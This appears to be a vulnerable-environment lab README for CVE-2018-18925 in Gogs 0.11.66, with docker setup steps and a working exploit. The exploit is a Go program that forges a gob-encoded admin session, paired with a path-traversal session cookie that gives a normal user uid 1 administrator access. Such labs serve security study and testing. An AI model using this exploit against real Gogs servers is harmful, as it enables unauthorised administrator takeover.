Aaron
63285f61aa
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79 lines
2.3 KiB
Markdown
79 lines
2.3 KiB
Markdown
# Gogs Session Overwrite and Arbitrary User Forge (CVE-2018-18925)
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[中文版本(Chinese version)](README.zh-cn.md)
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Gogs is a painless self-hosted Git service.
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Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a `..` session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
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References:
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- <https://github.com/gogs/gogs/issues/5469>
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- <https://xz.aliyun.com/t/3168>
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- <https://www.anquanke.com/post/id/163575>
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## Vulnerable environment
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Execute following command to start a Gogs server 0.11.66:
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```
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docker compose up -d
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```
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After the server is started, you can see the installation page on `http://your-ip:3000`. Follow the instructions to initialize the application, keep in mind that use SQLite as the database provider and enable the user register.
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Restart the server by `docker compose restart` after the installation, otherwise the session won't be stored in the filesystem.
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## Exploit
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Before the exploit, use Gob to generate a evil session file:
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```go
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package main
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import (
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"bytes"
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"encoding/gob"
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"encoding/hex"
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"fmt"
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"io/ioutil"
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"os"
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)
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func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
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for _, v := range obj {
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gob.Register(v)
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}
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buf := bytes.NewBuffer(nil)
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err := gob.NewEncoder(buf).Encode(obj)
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return buf.Bytes(), err
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}
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func main() {
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var uid int64 = 1
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obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
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data, err := EncodeGob(obj)
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if err != nil {
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fmt.Println(err)
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}
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err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
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if err != nil {
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fmt.Println(err)
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}
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edata := hex.EncodeToString(data)
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fmt.Println(edata)
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}
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```
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Sign up a normal user account, then create a project and upload the generated evil file on release page:
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Get the aboslute file path from the attachment URL, for example `./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`.
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Finally, construct a malicious session id like `i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10` and you can see that you are administrator (uid=1) now:
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To execte commands as the administrator role, please refer to the reference links.
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